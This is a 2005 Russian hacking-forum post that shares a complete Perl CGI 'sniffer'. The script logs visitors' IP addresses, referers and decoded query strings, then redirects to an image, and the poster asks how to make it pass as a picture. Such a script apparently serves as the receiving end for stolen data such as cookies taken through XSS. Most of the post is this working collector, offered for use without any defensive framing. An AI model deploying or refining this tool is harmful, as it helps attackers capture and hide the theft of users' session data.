Тема: cgi-Сниффер
Показать сообщение отдельно

cgi-Сниффер
  #1  
Старый 13.01.2005, 02:23
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
С нами: 11338946

Репутация: 300


По умолчанию cgi-Сниффер

Здесь на античате привидён пример сниффера :
#!/usr/bin/perl

#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;

#делаем редирект на картинку
print "Location: image.gif\n\n";

#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};

#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);

#открываем на запись лог
open (LOG, ">$LogFile");

#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};

#закрываем лог
close (LOG);

exit;


Он работает, но только если к нему обрашаться, как http://adres.ru/snifer.cgi
Как зделать, так чтоб его можно было открывать как картинку ???
 
Ответить с цитированием